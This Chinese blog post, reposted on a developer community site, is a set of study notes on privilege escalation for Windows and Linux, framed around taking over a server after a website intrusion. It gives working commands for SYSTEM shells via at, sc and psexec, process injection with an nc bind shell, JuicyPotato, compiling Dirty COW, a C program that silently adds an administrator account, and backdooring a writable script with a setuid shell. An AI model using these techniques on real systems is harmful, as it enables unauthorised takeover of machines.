首页
学习
活动
专区
圈层
工具
发布

提权

作者头像
宸寰客
发布2020-10-29 10:48:11
发布2020-10-29 10:48:11
2.9K0
举报
文章被收录于专栏:yuancao博客yuancao博客

什么是提权

为了提高自己在服务器中的权限所进行的操作

主要针对网站入侵过程中,当入侵某一网站时,通过各种漏洞上传shell,以夺得该服务器权限。

操作系统安全的基础 用户空间 与 内核空间 是隔离的。 内核空间是内核代码运行的地方,用户空间是用户程序代码运行的地方。所以如果用户的程序崩溃了,内核是不受影响。 当进程运行在内核空间时就处于内核态,当进程运行在用户空间时就处于用户态。

账号分类

本地系统帐户(SYSTEM): 本地系统帐户是一个具有完全系统访问权并且在网络中担当计算机的超级帐户。

本地服务帐户(LOCAL SERVICE): 本地服务帐户是一个类似于经过认证的用户帐户的特殊的内置帐户。本地服务帐户具有和 Users 用户组成员相同级别的资源和对象访问权。

网络服务帐户(NETWORK SERVICE): 网络服务帐户是一个类似于经过认证的用户帐户的特殊的内置帐户。网络服务帐户具有和 Users 用户组成员相同级别的资源和对象访问权。

用户账号在登陆时获取权限令牌 而服务账号无需用户登陆,会自己在后台启动服务 各账号间权限不一样

用户划分

windows系统的用户分为三类 user 、 administrator 、system linux系统分为两类 user 、root

windows权限

windows权限有三种。 user 有普通用户权限 administrator 有用户管理员权限 system 有系统管理员权限

linux权限

user 普通权限 root 管理员权限

提权类别

本地提权 配置提权 漏洞提权

本地提权

1.AT命令提权

首先以administrator身份打开cmd

然后输入:at 10:21 /interactive cmd

然后在10:21的时候,打开了一个cmd

2.SC命令提权
代码语言:javascript
复制
sc Create syscmd binpath="cmd/k start" type= own type= interact
sc start  syscmd

system 服务名字,可以随便取 binpath 环境变量,执行的路径

3.内核提权
代码语言:javascript
复制
psexec -i -s -d cmd
4.注入进程提权
代码语言:javascript
复制
pinjector.exe -p 2152 cmd 12345
注入进程提权的流程

首先在靶机上的身份是administrator,靶机ip是172.16.11.141

进入靶机里pinjector.exe的所在的根目录,

然后pinjector.exe -l 查看可以注入的进程

选择你想注入的进程

代码语言:javascript
复制
pinjector.exe -p 1444 cmd 5432

-p 是选择注入的进程的pid,这里的5432是端口

代码语言:javascript
复制
nc  172.16.11.141 5432

漏洞提权

烂土豆提权

属于令牌提权

限制条件
代码语言:javascript
复制
需要支持SeImpersonate或者SeAssignPrimaryToken权限
开启DCOM
本地支持RPC或者远程服务器支持PRC并能成功登录
能够找到可用的COM对象
webshell版脚本
代码语言:javascript
复制
Juicypotato.exe –p whoami
脏牛提权

属于linux内核提权 下载现成的exp https://github.com/FireFart/dirtycow

然后编译生成一个可执行的文件

代码语言:javascript
复制
gcc -pthread dirty.c -o dirty -lcrypt

最后提权

巴西烤肉
代码语言:javascript
复制
net localgroup administrators admin123456 /add

利用配置不当提权

代码语言:javascript
复制
与利用漏洞提权相比,此方法更常用
大部分企业,会对系统的漏洞即时进行补丁更新,很难通过系统的漏洞进行入侵;
查找系统中以system权限启动的服务或应用,可以尝试将其替换或者反弹shell的方式提权;
可以查找NTFS权限允许users修改删除的应用,利用配置不当进行提权;
代码中是否有过滤参数的操作等都可以加以利用,进行提取;	
使用icacls软件(windows)
代码语言:javascript
复制
icacls
icacls c:\windows\*.exe /save perm /T 
i586-mingw32msvc-gcc -o admin.exe admin.c   //因为exe要给windows用所以这里使用i586-mingw32msvc-gcc这个编译

admin.c

代码语言:javascript
复制
#include<stdlib.h>
int main()
{
  int i;
 i=system("net localgroup administrators a /add");
  return 0;
}

只要管理员点击admin.exe,就会将用户a添加到管理员组

linux
1. 找到配置不当的文件

方法1

代码语言:javascript
复制
find / -perm 777 -exec ls -l {} \;   
代码语言:javascript
复制
 -perm 777 :指定权限为777的文件
 -exec ls-l : 对匹配的文件执行ls -l命令
 {} \ ; ---------->格式

方法2

代码语言:javascript
复制
find / -writable -type f 2 >/dev/null | grep -v "/proc/“.
代码语言:javascript
复制
/proc:下多为系统启动的程序,一般不会有普通用户有可执行权限的程序
2.在目标文件里添加脚本

如第一步找到了usr文件下的123.sh符合条件 即 /usr/123. sh 就在123.sh里添加chmod u+s /bin/dash 然后当管理员执行这个脚本的时候 sh /usr/123. sh

普通用户就可以使用dash获得管理员权限 /bin/bash

还可以从应用系统的配置文件 、应用连接数据库的配置文件下手

其它提权方式

数据库提权
1.my sql提权
①.udf提权

1、知道root账号密码 2、win2000,2003系统 3、需要secure_file_priv函数打开

利用自定义函数功能,将mysql账号换为系统system权限

②.mof提权

1、win2003 以下版本 2、secure_file_priv参数不为null

③.反弹shell提权
2.Sql server提权

①、有sa权限

②、有dba权限

3.redis提权

未授权访问 1、webshell 2、上传公钥 3、反弹shell

4.oracle提权

1、dba权限执行系统命令

第三方软件/服务提权

windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的。利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020/10/24 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 什么是提权
  • 用户划分
    • windows权限
    • linux权限
  • 提权类别
    • 本地提权
    • 漏洞提权
    • 利用配置不当提权
    • 其它提权方式
      • 数据库提权
      • 第三方软件/服务提权
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档